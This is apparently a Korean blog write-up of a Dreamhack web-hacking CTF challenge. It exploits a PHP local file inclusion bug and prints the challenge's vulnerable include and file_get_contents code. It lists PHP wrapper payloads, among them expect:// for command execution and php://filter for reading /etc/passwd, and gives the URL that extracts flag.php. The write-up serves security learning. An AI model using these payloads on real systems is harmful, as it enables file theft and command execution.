문제
풀이
처음 접속하면 다음과 같다.
문제에 나온 내용대로 /var/www/uploads/flag.php 에 접속하려 했으나, Permission denied가 발생한 것을 볼 수 있다.
마찬가지로 hello.json에 접속해보도록 한다.
이번에는 hello.json 이 정상적으로 출력되어있는 것을 볼 수 있다.
flag에 대해서는 모종의 로직이 존재하거나, .json 파일만 출력하도록 설정이 있다거나, 유추를 할 수 있다.
이제 확인을 위해 파일을 다운받아 분석해본다.
view.php
<h2>View</h2>
<pre><?php
$file = $_GET['file']?$_GET['file']:'';
if(preg_match('/flag|:/i', $file)){
exit('Permission denied');
}
echo file_get_contents($file);
?>
</pre>
위의 코드를 확인해보면, Get 방식으로 file 파라미터를 가져온다.
가져올 때, file 내부의 값이 flag 문자열을 포함하고 있을 경우, Permission denied 가 출력되도록 설정되어 있다.
list.php
<h2>List</h2>
<?php
$directory = '../uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
echo "<li><a href='/?page=view&file={$directory}{$value}'>".$value."</a></li><br/>";
}
?>
list.php 는 ../uploads/ 디렉토리에 있는 파일 및 디렉터리 배열 중 '..', '.', 'index.html' 를 제외한
나머지 배열을 이용하여 /?page=view&file={$directory}{$value}를 만들어 낸다.
index.php
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>PHP Back Office</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">PHP Back Office</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/?page=list">List</a></li>
<li><a href="/?page=view">View</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/>
<div class="container">
<?php
include $_GET['page']?$_GET['page'].'.php':'main.php';
?>
</div>
</body>
</html>
위의 코드를 분석한다.
index.php에 GET 방식으로 page 파라미터를 전송하면, include 시키는 것을 확인할 수 있다.
이제 문제의 /var/www/uploads/flag.php 를 넣어준다.
공격 구문은 아래와 같다.
~~~~/index.php?page=../uploads/flag
넣었을 경우 can you see $flag 가 노출되며, 정작 flag 값이 노출되지 않는다.
이제 flag.php 에는 <?php ?> 로 php 코드 내부에 flag 값이 존재할 것으로 유추해 볼 수 있다.
그렇다면 이제, php wrapper 를 사용해서 추출을 해본다.
php wrapper 란?
파일 시스템 관련 함수(ex:include(),fopen())로 filename이 사용자의 입력이 될 경우 php에 존재하는 wrapper를 사용해 개발자의 의도와 다른 행위를 발생시킬 수 있다.
wrapper 의 종류는 아래와 같다.
1.expect://
system command를 실행해 준다.
ex) http://www.elia9774.tistory.com/index?page=expect://ls
2.php://filter
다양한 In/Out stream을 다룬다.
ex) http://www.elia9774.tistory. com/?page=php://filter/convert.base64-encode/resource=/etc/passwd
convert.base64-encode : 데이터를 base64로 인코딩
resource : 필터링할 stream을 명시한다.
3.zip://
zip 파일의 압축을 풀고, zip 파일 안에 들어있는 특정 파일을 실행한다.
ex) http://www.elia9774.tistory. com/?page=zip://file.zip#shell.php
4.php://stdin, php://stdout and php://stderr
stdin, stdout, stderr로 연결.
5.php://input
http의 body,즉 post 데이터를 입력받는다.
3번의 구문을 사용하여 php 코드로 되어있는 flag.php 파일을 base64로 인코딩 시켜 결과를 추출한다.
공격구문은 아래와 같다.
~~/index.php?page=php://filter/convert.base64-encode/resource=/var/www/uploads/flag.php
base64로 인코딩되어 출력된 문자열을 확인할 수 있다.
이제 base64 디코딩을 진행해 flag 값을 출력해본다.
정상적으로 flag 값이 출력되는 것을 확인할 수 있다.
'Dreamhack > Dreamhack(1단계)' 카테고리의 다른 글
xss-2 (웹 해킹) (0) | 2024.10.11 |
---|---|
image-storage (웹 해킹) (1) | 2024.10.08 |
xss-1 (웹 해킹) (0) | 2024.10.08 |
simple_sqli (웹 해킹) (0) | 2024.10.08 |
csrf-1 (웹 해킹) (0) | 2024.06.27 |